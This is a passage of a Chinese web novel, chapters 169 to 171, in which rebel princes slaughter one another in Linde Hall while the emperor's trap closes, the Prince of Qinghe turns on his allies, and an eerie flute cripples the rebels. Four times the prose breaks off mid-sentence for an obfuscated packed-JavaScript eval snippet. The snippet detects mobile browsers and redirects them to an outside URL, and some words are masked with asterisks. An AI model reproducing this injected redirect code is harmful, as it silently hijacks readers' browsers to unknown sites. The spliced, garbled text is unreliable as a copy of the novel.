“啊——!”徐妙晴吓得花容失色。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287999|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵然早有准备,依旧吓的失声尖叫,被几个宫女死死护住向后躲闪。 徐敬意则早已躲到了一边,邪笑着静看好戏。 场面已然彻底失控! 麟德殿内刀光剑影,血肉横飞,殿外喊杀震天,叛军正疯狂冲击着宫门。 “陛下!叛军势大,此地凶险万分,请陛下、皇后娘娘速速移驾内宫!” 禁军统领奋力格开秦王又刺过来的一剑,顶着被被削掉一角头盔,急声向郑遂喊道。 郑遂站在御阶之上,面色凝重,眼神中似乎带着一丝慌乱。 他焦急地看了一眼殿外越来越近的喊杀声,又愤恨地瞪了一眼正在禁军阵中疯狂冲杀的韩王,最终仿佛无奈地一挥手。 语带急促的道:“撤!快护送皇后与朕回宫!” “遵旨!” 禁军统领立刻指挥麾下精锐,簇拥着郑遂和惊魂未定的徐妍,迅速从御座后的侧门撤离。 郑遂在转身离开的最后一瞬,目光扫过混乱血腥的战场,嘴角几不可察弯了一下。 他“被迫”撤离的背影,在叛军眼中已是仓皇败退。 一时间,殿内厮杀更加激烈。 乾清宫。 殿内灯火通明,禁军护送着徐妍进了偏殿后便悄然退下,正殿之中只剩郑遂、巫咸和影巫三人。 郑遂脸上那副凝重表情瞬间消失得无影无踪,他随手扯下沾了点酒渍的龙袍外氅,走到御案前,垂眸看了一眼宫禁地图上,麟德殿的位置,嘴角勾起一抹意味深长的笑。 “戏,演够了。” 郑遂抬眼,目光落巫咸二人身上。 “去吧。” 影巫微微躬身,转身退下,悄无声息地消失不见。 巫咸则抬起头,脸上露出一抹势在必得的笑。 网,该收了。 麟德殿内,郑遂仓皇撤离的身影彻底点燃了最后的**。 可与此同时,却也抽走了那根勉强维系着叛军同盟的脆弱之弦。 “昏君休走!” 秦王目眦欲裂,挥剑就想冲破禁军的阻拦去追,却被韩王猛地一把拽住! 第169章 自相残杀 “先诛昏君要紧,但此刻禁军拼死护驾,强攻伤亡必重!当务之急是控制此殿,肃清障碍,再合兵一处直捣黄龙!”韩王怒声道。 他字字恳切,可实则心中盘算飞快。 郑遂跑了,这麟德殿里剩下的,可都是他的功劳簿和绊脚石了! 秦王被他拽得一滞,顿时怒火攻心:“放开!郑遂跑了,后患无穷!你拦我作甚?!” 韩王正欲再次开口,就在这时,又一道阴冷的声音响起。 “韩王殿下说得对,肃清障碍,是当务之急!” 话音未落,一道寒光直刺韩王后心。 韩王猛的转过头,大惊失色。 竟是刚刚还在指挥死士冲击殿门的南宫治! 南宫治看得很清楚,郑遂已退,殿内群龙无首,正是彻底夺取最大利益,顺便清除潜在对手的绝佳时机。 韩王实力高于秦王,且野心勃勃,,留着必是心腹大患,不如趁乱杀之! 到时候再嫁祸给禁军或秦王,自己再打着护驾平叛的名义收拾残局,挟持楚王或秦王,岂不美哉? “南宫治!你敢!”韩王怒吼一声,仓促间奋力扭身。 脚步踉跄,堪堪躲过,但南宫治的剑锋还是擦着他的肋下划过,带出了一溜血花。 剧痛让韩王彻底怒了。 “狗贼!你才是最大的内奸!先杀郑遂?老子先宰了你!” 韩王反手一剑,狠狠劈向南宫治。 再也不顾什么秦王,什么夺位,只想杀了这个背后捅刀子的阴险小人! 秦王被这突如其来的内讧惊呆了,看着瞬间厮杀在一起的韩王和南宫治,他脑子一时没转过来,身边的几个心腹将领也面面相觑。 “殿下!我们怎么办?是帮韩王杀南宫治,还是……”一个心腹急问。 秦王眼神闪烁,看看打得难分难解的韩王南宫二人,又看看不远处被禁军护在角落、眼神晦暗不明的楚王。 最后目光缓缓落在那些还在与叛军搏斗的精英禁军身上…… 一个念头忽然在他心滋生,如野草一般疯狂生长。 鹬蚌相争,渔翁得利! 就让他们狗咬狗! 老子趁机把楚王、徐贼都控制住,再顺便把韩王和南宫治都宰了,看到时候这大殿里,还有谁功劳比我大?还有谁能与我争锋?! “别管他们!”秦王眼中凶光大盛,猛地指向楚王和徐敬意的方向。 “给我抓住楚王!还有那个老贼徐敬意!活要见人,死要见尸!其他人,挡我者死!” 秦王麾下的精锐立刻调转矛头,如狼似虎般扑向楚王所在。 楚王身边拱卫的禁军人数不多,见状立刻结成小阵,刀剑对外,厉声喝道。 “保护楚王殿下!” “秦王!你疯了?!大敌当前,你竟敢对皇弟动手?!” 韩王百忙之中瞥见秦王动向,气得差点吐血,分神之际又被南宫治在肩头划了一剑。 “哈哈哈!韩王兄,你先顾好你自己吧!清君侧?我看你是想清了自己当皇帝!”秦王狞笑着,挥剑加入了对楚王护卫的攻击。 一时间,麟德殿中心区域彻底乱成了一锅沸腾粥。 韩王与南宫治一派的双方死士精锐捉对厮杀,招招致命。 韩王恨南宫治背叛偷袭,南宫治则欲除韩王而后快。 两人更是亲自交手,剑光缭绕,血花飞溅,把附近的案几屏风砍得粉碎。 秦王那边则是早就已经红了眼,一心要拿下楚王和徐敬意。 人人都在争斗厮杀,也人人都在逃命。 其余的臣子藩王早就已经躲到了安全的地方,可有一人却被遗忘了。 徐妙晴被几个忠仆死死护着缩在柱子后面,吓得瑟瑟发抖,花容失色。 她想学着郑遂逃离,可这才发现南宫治和徐敬意没有留下任何人手保护自己。 当她看到秦王的人马冲向徐敬意,而徐敬意则被扮做侍从的黑鹰卫里三层外三层的护住时,终于崩溃的发出凄厉的尖叫。 “兄长!快救我啊兄长!” 然而躲着看戏徐敬意早就已经突然的内讧给搞懵了。 不是诛杀郑遂吗? 这内斗的戏,本该留到最后才是,为什么…… 此刻他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288000|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里还有心思管徐妙晴,再不反抗,自己也性命不保了! “疯了……全都疯了……” 一个躲在巨大青铜香炉后的老翰林看着眼前这同室操戈、敌我不分的惨状,早已老泪纵横。 “什么清君侧……什么**难……全是私欲!全是野心!这大齐……完了啊……” 乾清宫内,郑遂负手立于御案之前。 巫咸闭目凝神,双手结着复杂诡异手印,周身似有若有若无的黑气萦绕。 而影巫去而复返,无声无息地单膝跪地:“陛下,麟德殿内,诸王混战,死伤惨重,三方主力已深陷泥潭,互相消耗。” 郑遂的手指,轻轻点在地图上代表着麟德殿的位置。 “让他们再咬一会儿。” 血,流得还不够多。 等他们筋疲力尽,等他们彻底绝望…… “影巫。” “属下在。” “传令禁军各部,按既定方位,封锁宫门,切断所有内外联系。麟德殿内所有持械叛乱者,及其党羽核心,一律拿下。违抗者,格杀勿论。” 郑遂冷冷吩咐完,再次看向巫咸。 “巫咸。” “草民在。”巫咸睁开眼。 “你的本事,该派上用场了。” 麟德殿内,血腥的混战从高潮时分缓缓落下,渐渐冷却。 众人挥刀的手臂越来越沉,嘶吼的喉咙越来越哑,每个人眼中除了杀红了眼而浮现出的血丝,都不约而同的开始浮现出茫然。 他们在干什么…… 众人逐渐停了下来,几个主力也都茫然四顾。 只见秦王捂着肋下被禁**穿的伤口,鲜血已经染红了半边身子,只能拄着剑才能勉强站立。 而韩王和南宫治两个遍体鳞伤的疯狗终于再互相撕咬后平静了下来,互相对视一眼,也懵了。 再看看他们带来的精锐死士,竟已经十不存三,剩下的也大多带伤。 一股寒意猛地从众人的脊椎窜起。 刚才混账的所有人这才猛地意识到,从郑遂仓皇撤退到现在,时间似乎过去得太久了! 第170章 这是什么声音 甚至已经久到足够郑遂调集重兵将这里围成铁桶,而他们这群人,竟然还在这里自相残杀! 至于杀了郑遂一事,好像早就被抛到了九霄云外去。 “住手!都给我住手!”秦王用尽力气嘶吼。 这一声吼,终于让余下不多的,还在奋战的其他人也下意识地停下了动作。 众人茫然四顾,死寂再次降临。 怎么会这样…… 韩王愣愣的看着四周,剧烈地咳嗽起来,吐出一口血沫。 为什么…… 他们在干什么…… 为什么会像……不受控制了一般的互相残杀? 他撑着剑,目光扫过殿内一片狼藉和己方死伤枕藉的惨状,一股不祥的预感浮上心头。 韩王终于想起了什么,猛地转头,看向大殿一侧,本该是清河王的位置。 可竟空空如也! 清河王竟然不知何时消失得无影无踪! 而韩王也这才发现,连同他许诺给自己,且早就碰过面的人马,从始至终都没出现过! “清河王呢?!”韩王失声叫道。 恍然间,韩王终于明白了。 他中计了!从一开始就中计了! 郑遂的撤离是计,楚王的现身是计,甚至这场让他们自相残杀的内讧,恐怕也早在郑遂的算计之中! 而清河王这个看似无害的“盟友”,才是郑遂埋在他们中间最致命的一颗钉子! “你这个卑鄙小人!你算计本王!”韩王目眦欲裂,对着空荡荡的大殿角落嘶声咆哮。 他这一吼,如同惊雷劈醒了所有人! “中计了……我们都被陛下……不,被郑遂算计了!” 而就在这时,麟德殿朱漆大门轰隆一声,被从外面猛然撞开。 伴随而来的,是震耳欲聋、整齐划一的脚步声和甲胄碰撞的铿锵声! 烟尘稍散,只见门外黑压压一片,尽是披坚执锐的禁军精锐。 而在这些禁军的最前方,赫然站着一个身着亲王**袍的身影。 正是清河王! 他身后,除了装备精良的禁军,还有身着清河王府特有青麟纹饰甲胄的精锐武士,显然正是他之前许诺给韩王的人马。 但此刻,他们刀锋向外,与禁军一同,将整个麟德殿围得水泄不通! “赵渊!!!”韩王指着清河王,已然目眦尽裂。 “你这个两面三刀的狗贼!你背信弃义!你算计本王!本王要将你**万段!” 清河王缓缓步入殿内,目光平静的回望着状若疯癫的韩王。 “背信弃义?”清河王轻笑一声。 “侄儿此言差矣。” 他微微一顿,歪了歪头,反问道。 “本王,何时与你等有过信义可言?” 韩王已经彻底傻了眼。 却又听清河王道:“本王忠心耿耿,日月可鉴。尔等逆贼,挟持本王,妄图逼迫本王行此大逆不道之事,才是真正的背信弃义,罪该万死!本王今日奉天子明诏,率王师入宫平叛,拨乱反正,何来算计之说?但是你……” 清河王的声音陡然转厉:“你凭什么觉得,本王对待先帝与陛下之心,不是赤诚一片?你凭什么以为,你那点蝇营狗苟的野心,能撼动本王对社稷的忠诚?!” “你……你放屁!本王杀了你!”韩王被这番义正词严的质问彻底激怒,羞愤欲狂。 早已忘了什么谋略,什么保存实力,他此刻只想亲手杀了这个将他**于股掌,却还站在道德高地上指责他的小人。 他怒吼一声,不顾身上多处伤口,挥舞着染血的长剑,朝着清河王猛扑过去。 殿内所有人都屏住了呼吸,秦王甚至下意识地后退了一步。 韩王虽然受伤,但困兽犹斗,其势惊人。 可面对韩王这含恨搏命的一击,看似文弱的清河王竟不闪不避,直至韩王的剑尖即将及身的刹那,清河王才终于有了动作。 只见他微微侧身,以毫厘之差避开剑锋,同时伸出手精准无比地扣住了韩王持剑的手腕。 “呃啊!”韩王只觉手腕传来一阵钻心剧痛,长剑再也握不住,当啷一声脱手坠地。 然而这还没完。 清河王右手快得带起残影,一掌狠狠印在韩王因剧痛而空门大开的胸膛。 韩王如遭重锤轰击,口中鲜血狂喷,身体如同断了线的风筝般倒飞出去,重重砸在两尺开外的一张倾倒的案几上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288001|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 接着整个人瘫在木屑之中,只有出气没有进气了。 所有事都发生在电光火石间。 秦王瞪大了眼睛,南宫治更是倒吸一口凉气。 谁也没想到,这个以温雅无害著称的清河王,身手竟然如此恐怖。 仅仅一招,就彻底废了韩王! “拿下!”清河王看都没看地上生死不知的韩王,冷冷下令。 他带来的护卫立刻上前,如同拖死狗般将韩王拖了下去。 秦王看着韩王的下场,再看看殿外黑压压的禁军和清河王大军,只觉唇亡齿寒。 他身受重伤,部下死伤过半,早就大势已去! 南宫治却忽然对着秦王吼道:“秦王!降是死路一条!拼了!跟他们拼了!杀出去!” 秦王心头猛地一震! 杀了郑遂要紧!否则气的只有自己! 残存的叛军终于被南宫治这一声怒吼逼出了最后的凶性! “杀——!!!” “跟他们拼了——!!!” 秦王也红了眼,嘶吼着举起残剑,与残余叛军一同嚎叫着冲向殿门。 他们要拼死一搏,杀出一条血路! 忽然,一阵低沉诡异、仿佛来自九幽地府的笛声毫无征兆地在大殿中响起。 呜……呜……呜…… 这笛声,就来源于大殿深处那座江山社稷图的屏风后。 音调极其古怪,忽高忽低,时断时续,如同无数冤魂在耳边凄厉地呜咽、低语。 接着,就猛然化作实质一般,像是无数细密的针,直接扎进了人的脑子里! “呃啊!” “头……我的头!” “什么东西在响……好痛!” 冲在最前面的叛军士兵首当其冲,猛地抱住脑袋,口中忍不住发出凄厉的惨叫,手中的兵器也纷纷脱手坠地。 突如其来的剧烈的头痛几乎让他们瞬间失去了所有力气,眼前发黑,天旋地转,胃里翻江倒海! 紧接着,秦王、南宫治,以及所有殿内还站着的人。 所有叛军全都着了道! 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第171章 最担心的还是来了 呜……呜……呜…… 笛声还在继续。 这一次的笛声更加诡异,剧烈的疼痛甚至让他们连捂耳朵的力气都没有了。 秦王已经有些奄奄一息,心知这是已经着了道,可是却仍不肯服输。 竟咬紧牙关,想要继续冲锋。 可知道这时他才骤然发现自己双腿如同灌了铅一般,沉重的根本抬不起来。 而动作一大,眼前的景象也开始扭曲变形,耳边除了阵阵诡异的笛声,什么都听不见了。 “这是什么邪术……” 秦王捂着脑袋,身体摇摇欲坠。 渐渐的,他的视线也开始变得模糊,只能勉强看到远处清河王那张冷漠的脸。 南宫治更是痛苦地跪倒在地,双手死死抓着自己的头发。 “停下……停下这该死的声音!” 那笛声却在此时忽然变了调。 就仿佛有生命一般,在每个人的脑海中肆意游走,撕扯着神经,碾压着理智。 时而高亢刺耳如厉鬼哭嚎,又时而低沉绵长如阴魂呢喃。 让人欲生不能,欲死不得。 清河王带来的人显然早有准备,耳朵里都提前塞了东西,丝毫不受笛声影响,以最快的速度制服了挣扎的残余叛乱者。 徐敬意虽也受笛声影响,头痛欲裂,但凭借着一股不肯服输的倔劲儿不肯低头,勉强支撑着没有倒下。 甚至情急之下还咬破了舌尖,用尖锐的疼痛来让自己保持清醒。 他看着眼前清河王收拾残局的身影,心中愈发惴惴不安。 这一切……都来的太诡异了! 从混战开始,韩王和南宫治的突然反目,到秦王的见利忘义,直至现在这突如其来出现的诡异的笛声…… 每一个环节都恰到好处,就好像是早就设定好的一般。 郑遂…… 徐敬意心头一凉。 是他!一定是他! 没有人比他还想看到众人狗咬狗了! 可…… 他怎么做到的? 就在徐敬意心中惊疑不定之时,原本那些躲在柱子后、屏风旁的文臣武将们忽然在笛声的折磨下神经紧绷到了极点。 “都是你!当初是你说要支持韩王的!”户部尚书猛然爆发了,转头恶狠狠的指向身边的同僚。 “放屁!明明是你先收了南宫治的银子!”对方不甘示弱,声嘶力竭地反驳。 “你们别血口喷人!我从未参与过任何叛逆之事!” 另外一个明明没被点名,却骤然插嘴,想要撇清关系,但很快,就被其他人**。 “王铎,你还有脸说?当初在你府中密会的事,你以为没人知道?” “你还有脸说我?你的那些账册我都看见了,上面记录的银两来源,你敢说出来吗?” 整个大殿顿时乱成一锅粥。 这些个平日里道貌岸然的大臣们,此刻全都撕下了伪装的面具,露出最丑陋的嘴脸。 他们互相揭短,互相攻击,恨不得将对方置于死地而后快。 徐敬意听着这些丑闻被一桩桩揭露出来,已然心惊胆战。 这些人一旦牵扯下去,必然会扯出自己。 这些年来,他费尽心机拉拢的人脉,培植的势力,都将在今夜土崩瓦解。 而且,会立刻将他置于死地! “住嘴!都给我住嘴!”徐敬意忍着剧痛,厉声喝止众人。 可那些人耳朵里仿佛突然被塞了东西似的,已经根本听不见他的话了,依旧在疯狂地互相指摘、撕咬。 甚至,有的已经动起手来。 很快,徐敬意最担心的事还是发生了。 正当他手足无措,极力呼喊着让大家都清醒一点的时候,那些原本正在互相指责的文臣武将,竟然极为诡异的、不约而同的停下了争吵。 徐敬意被他们怪异的眼神看的心头一颤,忙往后退了两步。 “你们、你们看着我做什么?” 可这句话,却像是恰好戳中了他们某个爆发的点,他们整齐划一地将矛头指向徐敬意。 徐敬意愈发慌了:“何故看着我?有事……你们说事几天了……呃……” 徐敬意忽然发出一生痛苦的闷哼。 不知为何, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288002|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当他极力的想把自己摘出去的时候,脑中的痛楚就更加剧烈了。 他踉跄了一下,双腿一软倒在地上。 “是你!都是徐敬意!”忽然有人率先开口。 “当初就是他利用权势笼络我们!” “没错,就是他暗藏祸心,一步步架空陛下的权力!” “那些见不得人的勾当,都是他指使的!” 众人七嘴八舌,把一桩桩一件件不为人知的阴谋细节全抖落了出来。 从徐敬意如何暗中收买官员,如何操控朝政,说到如何陷害忠良,如何中饱私囊…… 每一个细节都说得十分详尽,字字句句都如刀割心。 “徐大人,还记得三年前的那个夜晚吗?你让我们在奏折上做手脚,陷害了多少无辜的人!” “还有去年的税收案,明明是你指使我们虚报数字,现在却要我们背锅!” “那些死在狱中的人,他们的血债都在你身上!” 徐敬意听着这些指控,表情从震惊到愤怒,再到羞愤欲狂。 他已经被这些曾经只能跪伏于脚边的小人背叛过一次了,如今竟还有第二次! “你们这些忘恩负义的狗东西!”徐敬意怒不可遏,激动之下,竟然强撑着身体,爬起身来指着众人怒道。 “当初若不是本官提携,你们能有今日?!” 他猛的指向其中一个,双眼喷火的质问:“你忘了当初是谁救你出的牢狱?还有你!你忘了是谁帮你的儿子谋得官职?王铎!你的那些烂账是谁帮你摆平的?现在倒好,一个个都想撇清关系!” 徐敬意诡异的笑**起来。 “我告诉你们,要死一起死!谁也别想独善其身!” 然而那些人仿佛铁了心要将他拖下水,竟不惜伤敌一千自损八百。 “徐敬意,你还在狡辩!” “事到如今,你还想拉我们垫背?” “我们都是被你蒙蔽的!” 徐敬意被众人的指责声淹没,身体撑到了极致。 终于忍不住,噗的一口血喷出。 身体摇晃了两下,瘫倒在地。